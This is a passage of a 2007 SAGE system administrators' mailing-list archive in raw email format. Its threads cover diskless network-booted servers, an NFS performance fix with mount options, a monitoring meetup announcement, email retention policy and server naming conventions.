From sage-members-owner@usenix.org Tue Jan  2 13:39:51 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l02LdcP6009558
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 2 Jan 2007 13:39:44 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l02LdcEX009557
	for sage-members-0utGoign; Tue, 2 Jan 2007 13:39:38 -0800 (PST)
Received: from py-out-1112.google.com (py-out-1112.google.com [64.233.166.181])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l02LcvSU009538
	for <sage-members@sage.org>; Tue, 2 Jan 2007 13:39:09 -0800 (PST)
Received: by py-out-1112.google.com with SMTP id z74so3728270pyg
	for <sage-members@sage.org>; Tue, 02 Jan 2007 13:38:57 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=Pm+YuTjiv/nRjZW0mXibk63FiJOz6lcOYPrkE1+u2M5pwa2vGXaQLCwel9J1wumiFeG5s+Qh7Q6EffmKXTwao04L7wKlckIX/8LOFSJZ6hsuxLpoU4PE+azYoVbude1BzttISmBUr61N3ED4kh0VxHhG5FxHi20b8FGrh7ZNSFg=
Received: by 10.35.121.9 with SMTP id y9mr38123729pym.1167770074824;
	Tue, 02 Jan 2007 12:34:34 -0800 (PST)
Received: by 10.35.130.13 with HTTP; Tue, 2 Jan 2007 12:34:34 -0800 (PST)
Message-ID: <fdcccb10701021234w5fd5d524r71c4bb955afaea76@mail.gmail.com>
Date: Tue, 2 Jan 2007 12:34:34 -0800
From: "Cyrus Vesuna" <cyrus.sage@gmail.com>
To: "Rodrick Brown" <rodrick.brown@gmail.com>
Subject: Re: [SAGE] OS as an Appliance
Cc: "LOPSA Discuss List" <discuss@lopsa.org>,
	"SAGE mailing list" <sage-members@sage.org>
In-Reply-To: <bb075cdf0612091444y6da557bhf37b5a20a58ed594@mail.gmail.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <bb075cdf0612091444y6da557bhf37b5a20a58ed594@mail.gmail.com>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=5%
X-Virus-Scanned: ClamAV 0.88.7/2406/Tue Jan 2 03:58:55 2007 on
	voyager.usenix.org
X-Virus-Status: Clean
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 12/9/06, Rodrick Brown <rodrick.brown@gmail.com> wrote:
<snip>
> I basically want to build tiny, appliance like OS images where my
> servers will boot this image via PXE/BOOTP/DHCP/TFTP over a network
> then nfs mount our application binaries needed for that particular
> host. We sort of do this today with a few core tools and applications
> which are required on all hosts. Users home directories are also nfs
> mounted via automount.
>

Is this the only acceptable methodology? I see you are a Netapp user
and they (allegedly :-) ) have this
http://www.netapp.com/go/techontap/tot-march2006/0306tot_kilo.html and
http://www.netapp.com/go/techontap/matl/kilo.pdf (Baylisa
presentation), where they have booted about 1K diskless systems. I am
not sure of what horsepower is needed on the backend to support such.
However, you can imagine that you can switch over to updated versions
of OS's by simply rebooting your nodes and pointing them to an updated
image.


>
> 1) How to handle network traffic in cases of power outages 1000+
> servers going offline. I could possible see a scenario where n number
> of hosts all try to pull down a new image at the same time which could
> be any where from 50 ~ 200MB of data over the network. I would have to
> possibly implement some kind of QoS for really important servers or
> make sure I have enough Repo's close enough to minimize network
> saturation.

Perhaps leave the systems off at power up and have a scheduled power
on (WOL) based on  groups of machines in decreasing order of
importance....


> 3) Local changes to the OS, No matter how much we try to stream line
> our OS's we usually get a few admins/developers who must have
> particular changes in the OS that does not confirm to our base build.
> ie changes to something in /etc/* or /etc/{sysctl.conf,system}  if
> each server will pull down a new image at boot/reboot I need to figure
> out how to merge back any local specific changes that were on the host
> previously.

This can (allegedly) be solved by the solution above.., just maintain
a couple of additional images.

>
> 4) Boot time is another concern it currently takes most servers at
> least our 1 to 8 way boxes that makes up about 85% of the servers on
> the network  1~4 min to boot up from a complete power down.
> Theoretically would it be possible to pull down a new image, merge any
> local changes the servers had before and mount all needed file systems
> in under 5min?

Again, this can (allegedly) be solved by the solution above..as you
would have only booting time(s) to contend with

Disclaimer:  I do not work for Netapp, nor am I an expert with it..

-Cyrus


From sage-members-owner@usenix.org Wed Jan  3 07:25:58 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l03FPoSN014352
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 3 Jan 2007 07:25:55 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l03FPora014350
	for sage-members-0utGoign; Wed, 3 Jan 2007 07:25:50 -0800 (PST)
Received: from rwcrmhc14.comcast.net (rwcrmhc14.comcast.net [204.127.192.84])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l03FPObb014333
	for <sage-members@sage.org>; Wed, 3 Jan 2007 07:25:34 -0800 (PST)
Received: from paulntooz.homelinux.org ([24.34.212.25])
	by comcast.net (rwcrmhc14) with ESMTP
	id <20070103152511m1400fd7r3e>; Wed, 3 Jan 2007 15:25:11 +0000
Received: from taz.comcast.net (localhost [127.0.0.1])
	by paulntooz.homelinux.org (Postfix) with ESMTP id 738971AB6A;
	Wed,  3 Jan 2007 10:24:54 -0500 (EST)
To: "Cyrus Vesuna" <cyrus.sage@gmail.com>
Cc: sage-members@sage.org
Subject: [SAGE] Summary: Need help with performace diagnosis
References: <87r6vk69fx.fsf@comcast.net>
	<fdcccb10701021830p39f7eeaai973a65f12cc0f892@mail.gmail.com>
	<200612011000.kB1A0kbJ019019@voyager.usenix.org>
From: Paul Lussier <p.lussier@comcast.net>
Date: Wed, 03 Jan 2007 10:24:54 -0500
In-Reply-To: <fdcccb10701021830p39f7eeaai973a65f12cc0f892@mail.gmail.com>
	(Cyrus Vesuna's message of "Tue, 2 Jan 2007 18:30:12 -0800")
Message-ID: <87fyasm8u1.fsf_-_@comcast.net>
User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-sage-members@usenix.org
Precedence: bulk

"Cyrus Vesuna" <cyrus.sage@gmail.com> writes:

> Hi Paul,
> Did you get any closer to a solution for this issue?

Hi Cyrus,

Yes, we discovered a lot of things in a very short time:

 a) We really need to upgrade the kernel.

    The kernel we're using is very old (2.4.22) and doesn't manage
    memory very well.  We added 2GB of memory to the existing 2GB and
    that made performance even worse.  Ideally we should move up to a
    2.6 kernel, but we don't have the down-time or the spare equipment
    to do this.

 b) Our NFS client mount options are horrible.

    All of our systems mount this single 1TB partition with the
    default NFS options for Linux.  Considering a) we have 300+
    clients, and b) they're doing lots and lots of writes, this is
    very bad.  We really ought to be mounting with at least the
    following options:

      nfsvers=3,rw,noatime,rsize=8192,wsize=8192

   (r,w)size probably ought to be up around 32k instead, since NFSv3
   supports that.

 c) We really should have more than a single file system.

    This is something I argued for when the system was designed, but I
    lost.  I've been regretting it ever since.

 d) We're using our space extremely inefficiently.

    This is a consequence of c. above.  We have thousands of automated
    tests which run nightly, all of which write into NFS as scratch
    space (on a RAID5 array no less).  The tests really ought to be
    re-factored to write scratch data locally, then move it to NFS
    later if it's deemed valuable.  Unfortunately here, I'm fighting
    against a group of developers who claim that this perceived
    convenience is too important to change. (Ironically, they all
    complain when they can't get work done exactly *because* of this
    supposed convenience, but then blame "the system" as being
    "the problem" :)

To alleviate some of the problems, we've done the following:

 1.  Dropped the main NFS server back to 2GB of RAM.

 2.  Moved the scratch space onto a RAID0 set on a different NFS
     server and set the clients to use the above mentioned mount
     points for this file system. 

     We plan to change the options for the main NFS server as well,
     but we wanted to see how the performace of the tests was affected
     first by moving to a new server with more "correct" mount options.
     (I've been told things look really good).

 3.  Planned/budgeted for a new NFS server.

     We've decided to go with something more managable/scalable than
     what we currently have and are getting an OnStor NFS appliance.

I apologize for the delay in providing a followup, and thanks to all
who assisted me. I learned a tremendous amount from this experience!

-- 
Seeya,
Paul
--
Key fingerprint = 1660 FECC 5D21 D286 F853  E808 BB07 9239 53F1 28EE



From sage-members-owner@usenix.org Thu Jan  4 00:07:46 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0487jmN024070
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 4 Jan 2007 00:07:45 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0487i8r024062
	for sage-members-0utGoign; Thu, 4 Jan 2007 00:07:45 -0800 (PST)
Received: from slick.sigje.org (rdns.222.240.218.216.fre.communitycolo.net
	[216.218.240.222])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0487PPc023350
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Thu, 4 Jan 2007 00:07:36 -0800 (PST)
Received: from sigje (helo=localhost)
	by slick.sigje.org with local-esmtp (Exim 4.63)
	(envelope-from <sigje@slick.sigje.org>) id 1H2NdF-0004cQ-2j
	for sage-members@usenix.org; Thu, 04 Jan 2007 00:07:25 -0800
Date: Thu, 4 Jan 2007 00:07:25 -0800 (PST)
From: Jennifer Davis <sigje@sigje.org>
To: sage-members@usenix.org
Subject: [SAGE] BayLISA monitoring SIG - January 10, 2007 - 7pm
Message-ID: <Pine.NEB.4.64.0701040004310.9890@slick.sigje.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-DCC-dmv.com-Metrics: voyager 1181; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk


BayLISA recently started a monitoring SIG that has show a good amount of 
interest, and I wanted to let you all know about an upcoming meeting. 
If you are in the San Francisco area (we are not currently recording these 
meetings):

January '07 BayLISA Monitoring SIG: Ganglia to Nagios: Bridging the Gap

Ganglia Project Lead Matt Massie will be on hand to share how he's seeing 
Ganglia being used and what new functionality he envisions.Peter Loh
and Mayank Patel from GroundWork will show how to unify the best features 
of Nagios and Ganglia into a highly scalable IT monitoring
solution.We'll finish with freeform Q&A where you can take advantage of 
the assembled wisdom to tackle your thorniest (or most basic) monitoring
issues.

What:  BayLISA Monitoring SIG IV:Ganglia to Nagios: Bridging the Gap
Who:  Anyone interested in IT monitoring issues and tools: newbies 
particularly welcome!
When:  Wednesday, January 10 2007, 7PM
Where: GroundWork Open Source, 139 Townsend St., San Francisco
How:  139 Townsend St. is very near AT&T Park. It is two blocks from the 
CalTrain Depot. Take the MUNI N trolley "inbound" to 2nd and King
(ballpark stop) or take the 15 or 30 buses (among others) crosstown. Free 
evening street parking can usually be found.

New Year's pizza, pop, and snacks will be provided by GroundWork. We'll 
open up the doors at 6:30 or so and start the formal part of the meeting
promptly at 7PM.


Please RSVP to rsvp@baylisa.org

If you have suggestions for topics for future monitoring SIGS please email 
us at directors@baylisa.org.




From sage-members-owner@usenix.org Thu Jan  4 07:23:17 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l04FNGk8002874
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 4 Jan 2007 07:23:17 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l04FNGx9002873
	for sage-members-0utGoign; Thu, 4 Jan 2007 07:23:16 -0800 (PST)
Received: from de-fe01.dejazzd.com (outlb3.dejazzd.com [66.109.229.70])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l04FMx5d002851
	for <sage-members@usenix.org>; Thu, 4 Jan 2007 07:23:14 -0800 (PST)
Received: from de-fe02 ([10.199.5.6]) by de-fe02.dejazzd.com with ESMTP
	id <20070104151210.KKSM24510.de-fe02.dejazzd.com@de-fe02>
	for <sage-members@usenix.org>; Thu, 4 Jan 2007 10:12:10 -0500
X-Mailer: Openwave WebEngine, version 2.8.15 (webedge20-101-1103-20040528)
From: Bennett <a42n8k9@dejazzd.com>
To: <sage-members@usenix.org>
Subject: [SAGE] Mailbox retention settings
Date: Thu, 4 Jan 2007 10:12:10 -0500
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Message-Id: <20070104151210.KKSM24510.de-fe02.dejazzd.com@de-fe02>
X-DCC-Usenix-Metrics: voyager 1010; bulk rep Body=many Fuz1=many Fuz2=many
	rep=38%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Good morning,

Just curious about how everyone has handled the topic of email retention?  My Director and I feel that our new legal department is trying to be a bit over-restrictive and want to see how others have dealt with this.  

I'll post a summary after the thread seems to die off.


* How long is your retention period?

* If your retention policy is new, how did your users react/handle the new restrictions?

* What impact, if any, did you see on your file storage after activating the retention policy?

* What impact, if any, did you see in the number of requests for messages to be restored from backup?

* What tools did you use to assist in the process?

Thanks,
- Bennett



From sage-members-owner@usenix.org Thu Jan  4 08:01:40 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l04G1dF1004899
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 4 Jan 2007 08:01:40 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l04G1dZm004898
	for sage-members-0utGoign; Thu, 4 Jan 2007 08:01:39 -0800 (PST)
Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.188])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l04G1C6q004884
	for <sage-members@usenix.org>; Thu, 4 Jan 2007 08:01:23 -0800 (PST)
Received: by nf-out-0910.google.com with SMTP id g2so7219916nfe
	for <sage-members@usenix.org>; Thu, 04 Jan 2007 08:01:12 -0800 (PST)
Received: by 10.49.36.6 with SMTP id o6mr17988746nfj.1167926102836;
	Thu, 04 Jan 2007 07:55:02 -0800 (PST)
Received: by 10.49.23.20 with HTTP; Thu, 4 Jan 2007 07:55:02 -0800 (PST)
Message-ID: <8e370ab00701040755x5e7ef97cr20b65f669221ec8e@mail.gmail.com>
Date: Thu, 4 Jan 2007 15:55:02 +0000
From: "Mike Knell" <mpk@uffish.net>
To: Bennett <a42n8k9@dejazzd.com>
Subject: Re: [SAGE] Mailbox retention settings
Cc: sage-members@usenix.org
In-Reply-To: <20070104151210.KKSM24510.de-fe02.dejazzd.com@de-fe02>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <20070104151210.KKSM24510.de-fe02.dejazzd.com@de-fe02>
X-DCC-Usenix-Metrics: voyager 1010; Body=2 Fuz1=2 Fuz2=2 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

On 1/4/07, Bennett <a42n8k9@dejazzd.com> wrote:
> Good morning,
>
> Just curious about how everyone has handled the topic of email retention?  My Director and I feel that our new legal department is trying to be a bit over-restrictive and want to see how others have dealt with this.

Which country are you in? This varies...

>From the point of view of the UK I've been told in the past that we
have to simultaneously keep all our mail forever and delete it after
three months. I've never figured out how to reconcile this, and I get
the impression that both of those opinions were basically made up or
based on a half-assed understanding of the legal aspects involved.

m.


From sage-members-owner@usenix.org Thu Jan  4 14:08:46 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l04M8gVh018851
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 4 Jan 2007 14:08:42 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l04M8gIN018850
	for sage-members-0utGoign; Thu, 4 Jan 2007 14:08:42 -0800 (PST)
Received: from smtp102.his.com (smtp102.his.com [216.194.225.125])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l04M8B94018837
	for <sage-members@usenix.org>; Thu, 4 Jan 2007 14:08:22 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by smtp102.his.com (Postfix) with ESMTP id 1C3394000E1;
	Thu,  4 Jan 2007 17:08:01 -0500 (EST)
Received: from smtp102.his.com ([216.194.225.125])
	by localhost (smtp102.his.com [216.194.225.125]) (amavisd-new,
	port 10024)
	with ESMTP id 07022-09; Thu, 4 Jan 2007 17:07:58 -0500 (EST)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp102.his.com (Postfix) with ESMTP id A3DF14001D3;
	Thu,  4 Jan 2007 17:07:58 -0500 (EST)
Received: from [172.16.6.235] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l04M7nvQ093809;
	Thu, 4 Jan 2007 17:07:58 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240501c1c32087fee7@[64.146.42.81]>
In-Reply-To: <20070104151210.KKSM24510.de-fe02.dejazzd.com@de-fe02>
References: <20070104151210.KKSM24510.de-fe02.dejazzd.com@de-fe02>
Date: Thu, 4 Jan 2007 15:27:42 -0600
To: Bennett <a42n8k9@dejazzd.com>, <sage-members@usenix.org>
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] Mailbox retention settings
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.308 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.091, BAYES_00=-2.599]
X-Spam-Score: -4.308
X-Spam-Level: 
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=4%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 10:12 AM -0500 1/4/07, Bennett wrote:

>  Just curious about how everyone has handled the topic of email retention?
>  My Director and I feel that our new legal department is trying to be a
>  bit over-restrictive and want to see how others have dealt with this.

I believe that some useful general advice on this topic can also be 
found in booklet #15 in the SAGE Short Topics series, which is 
available for free download to all SAGE members.  See 
<http://www.sage.org/pubs/15_postmaster/15_postmaster.html> for more 
information.

Caveat: my name appears as one of the co-authors of this booklet, so 
I may be a bit biased.  ;)

>  * How long is your retention period?
>
>  * If your retention policy is new, how did your users react/handle the
>  new restrictions?
>
>  * What impact, if any, did you see on your file storage after activating
>  the retention policy?
>
>  * What impact, if any, did you see in the number of requests for messages
>  to be restored from backup?
>
>  * What tools did you use to assist in the process?

There's a lot of background here that we don't have.  For example, 
are you impacted by SarbOx regulations?  Are you a financial services 
industry which is required to keep a copy of all communications 
(including e-mail and IMs) to and from customers for seven years? 
Are there other regulations that might be applicable (e.g., the UK 
RIP laws)?

Also, what kind of customer model are you assuming?  Do you want 
information from ISPs?  I can give you data for what we did at AOL, 
and what we did at Belgacom Skynet, but I don't know if that's useful 
to you.  What is your storage model?  Do your clients do mostly 
off-line storage (e.g., a POP3 model), or do they do mostly online 
storage (e.g., an IMAP model)?

There's lots of other questions which follow on from there.

-- 
Brad Knowles, <brad@shub-internet.org>

Trend Micro has announced that they will cancel the stop.mail-abuse.org
mail forwarding service as of 15 November 2006.  If you have an old
e-mail account for me at this domain, please make sure you correct that
with the current address.


From sage-members-owner@usenix.org Thu Jan  4 16:08:38 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0508TR1023202
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 4 Jan 2007 16:08:34 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0508TbC023201
	for sage-members-0utGoign; Thu, 4 Jan 2007 16:08:29 -0800 (PST)
Received: from ettin.watson-wilson.ca (watson-wilson.ca [216.138.221.7])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l050814N023176
	for <sage-members@usenix.org>; Thu, 4 Jan 2007 16:08:12 -0800 (PST)
Received: by ettin.watson-wilson.ca (Postfix, from userid 1000)
	id 0A7953AE28; Thu,  4 Jan 2007 19:07:49 -0500 (EST)
Date: Thu, 4 Jan 2007 19:07:49 -0500
From: Neil Watson <sage@watson-wilson.ca>
To: sage-members@usenix.org
Subject: Re: [SAGE] Mailbox retention settings
Message-ID: <20070105000748.GB31285@watson-wilson.ca>
References: <20070104151210.KKSM24510.de-fe02.dejazzd.com@de-fe02>
	<p06240501c1c32087fee7@[64.146.42.81]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Disposition: inline
In-Reply-To: <p06240501c1c32087fee7@[64.146.42.81]>
X-Message-Flag: Outlook is a dangerous and insecure program (Magic 8 ball:
	Outlook not good)
X-Accepted-File-Formats: No proprietary Microsoft Office files please
User-Agent: Mutt/1.5.13 (2006-08-11)
X-watson-wilson.ca-MailScanner: Not scanned: please contact your Internet
	E-Mail Service Provider for details
X-watson-wilson.ca-MailScanner-From: sage@watson-wilson.ca
X-Spam-Status: No
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Thu, Jan 04, 2007 at 03:27:42PM -0600, Brad Knowles wrote:
>There's a lot of background here that we don't have.  For example, 
>are you impacted by SarbOx regulations?  Are you a financial services 
>industry which is required to keep a copy of all communications 
>(including e-mail and IMs) to and from customers for seven years? 
>Are there other regulations that might be applicable (e.g., the UK 
>RIP laws)?

This law grates on me.  It seems to me that corporations pay little more
than lip service to the SOX data retention rules.  I see them squirrel
away tapes and other electronic media.  However, I've not witnessed any
of them plan how they will access this data 7 years later when the
hardware or software required to read the data is no longer available or
the media has deteriorated because no one transferred the date to new
media for preservation.  

-- 
Neil Watson             | Debian Linux
System Administrator    | Uptime 13 days
http://watson-wilson.ca


From sage-members-owner@usenix.org Thu Jan  4 20:25:21 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l054PBbE002596
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 4 Jan 2007 20:25:17 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l054PB4t002594
	for sage-members-0utGoign; Thu, 4 Jan 2007 20:25:11 -0800 (PST)
Received: from adsl-64-160-54-75.dsl.snfc21.pacbell.net
	(adsl-67-122-242-225.dsl.pltn13.pacbell.net [67.122.242.225])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l054OqdC002574
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Thu, 4 Jan 2007 20:25:03 -0800 (PST)
Received: from [192.168.72.2] (wizfast.rski.net [192.168.72.2])
	by adsl-64-160-54-75.dsl.snfc21.pacbell.net (8.12.8/8.12.8) with ESMTP
	id l054Okxo022295; Thu, 4 Jan 2007 20:24:48 -0800
Message-ID: <459DD30E.9060109@chycoski.com>
Date: Thu, 04 Jan 2007 20:24:46 -0800
From: Richard Chycoski <rskiadmin@chycoski.com>
User-Agent: Thunderbird 1.5.0.9 (Windows/20061207)
MIME-Version: 1.0
To: Neil Watson <sage@watson-wilson.ca>
CC: sage-members@usenix.org
Subject: Re: [SAGE] Mailbox retention settings
References: <20070104151210.KKSM24510.de-fe02.dejazzd.com@de-fe02>
	<p06240501c1c32087fee7@[64.146.42.81]>
	<20070105000748.GB31285@watson-wilson.ca>
In-Reply-To: <20070105000748.GB31285@watson-wilson.ca>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Neil Watson wrote:
> On Thu, Jan 04, 2007 at 03:27:42PM -0600, Brad Knowles wrote:
>> There's a lot of background here that we don't have.  For example, 
>> are you impacted by SarbOx regulations?  Are you a financial services 
>> industry which is required to keep a copy of all communications 
>> (including e-mail and IMs) to and from customers for seven years? Are 
>> there other regulations that might be applicable (e.g., the UK RIP 
>> laws)?
>
> This law grates on me.  It seems to me that corporations pay little more
> than lip service to the SOX data retention rules.  I see them squirrel
> away tapes and other electronic media.  However, I've not witnessed any
> of them plan how they will access this data 7 years later when the
> hardware or software required to read the data is no longer available or
> the media has deteriorated because no one transferred the date to new
> media for preservation. 
Most magnetic media stored even reasonably carefully (i.e., not in the 
back of your car) will last more than seven years and if the typical 
sets of backups are done much of the mail will be duplicated on multiple 
backup generations, aiding in recovery.

And as to finding hardware - you can find some really ancient tape 
drives at places like Weird Stuff (or someone's basement) to restore the 
old tapes - and there are also media conversion companies that will 
provide this service for older tape formats.

There's a "million dollar nine track tape drive" in one of our data 
centres that was used to restore some *very* old, but valuable, data 
(hence the name :-).

And if the government really wants to see your data, they'll find a way 
(via one of their three-letter-orgs?) to restore it. (:-)

- Richard


From sage-members-owner@usenix.org Fri Jan  5 11:59:45 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l05Jxf4g016170
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 5 Jan 2007 11:59:41 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l05JxfUO016169
	for sage-members-0utGoign; Fri, 5 Jan 2007 11:59:41 -0800 (PST)
Received: from mail.reptiles.org (skink.reptiles.org [198.96.119.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l05JxCJQ016142
	for <sage-members@usenix.org>; Fri, 5 Jan 2007 11:59:23 -0800 (PST)
Received: from mail.reptiles.org([198.96.119.1] port=2247) (1401 bytes) 
	by mail.reptiles.org([198.96.119.1] port=25) via TCP with esmtp
	(sender: <cat@reptiles.org>) id <m1H2vDE-00BxG7C@mail.reptiles.org>
	for <sage-members@usenix.org>;
	(dest:remote)(R=bind_hosts)(T=inet_zone_bind_smtp)
	Fri, 5 Jan 2007 14:58:48 -0500 (EST)
	(Smail-3.2.0.118 2004-May-31 #3 built 2004-Oct-14)
Date: Fri, 5 Jan 2007 14:58:47 -0500 (EST)
From: Cat Okita <cat@reptiles.org>
To: "Mark R. Lindsey" <lindsey@acm.org>
cc: LOPSA Discuss List <discuss@lopsa.org>, SAGE list <sage-members@usenix.org>
Subject: [SAGE] Re: [lopsa-discuss] Naming conventions for servers,
	network gear, etc.
In-Reply-To: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>
Message-ID: <20070105145836.F87740@skink.reptiles.org>
References: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Fri, 5 Jan 2007, Mark R. Lindsey wrote:
> Have there been any papers done on naming conventions for servers, network 
> gear, etc?
>
> E.g., when is it better to call it "core-router-bwg" versus "juniperm10i" 
> versus "router1"?
> Or "server1" versus "dns1" versus "franko"?

http://www.nanog.org/mtg-0405/ringel.html

cheers!
==========================================================================
"A cat spends her life conflicted between a deep, passionate and profound
desire for fish and an equally deep, passionate and profound desire to
avoid getting wet.  This is the defining metaphor of my life right now."


From sage-members-owner@usenix.org Fri Jan  5 12:18:32 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l05KIVYK016999
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Fri, 5 Jan 2007 12:18:31 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l05KIVgZ016998
	for sage-members-0utGoign; Fri, 5 Jan 2007 12:18:31 -0800 (PST)
Received: from e-c-group.com (persephone.e-c-group.com [216.128.192.244])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l05KHrQ7016957
	for <sage-members@usenix.org>; Fri, 5 Jan 2007 12:18:04 -0800 (PST)
Received: from [66.57.106.129] (account lindsey HELO [192.168.15.100])
	by e-c-group.com (CommuniGate Pro SMTP 5.0.3)
	with ESMTPSA id 96601642; Fri, 05 Jan 2007 14:47:15 -0500
Mime-Version: 1.0 (Apple Message framework v752.3)
Content-Transfer-Encoding: 7bit
Message-Id: <0225D81E-DC98-4CD6-A356-E579432DE87D@acm.org>
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
To: LOPSA Discuss List <discuss@lopsa.org>, SAGE list <sage-members@usenix.org>
From: "Mark R. Lindsey" <lindsey@acm.org>
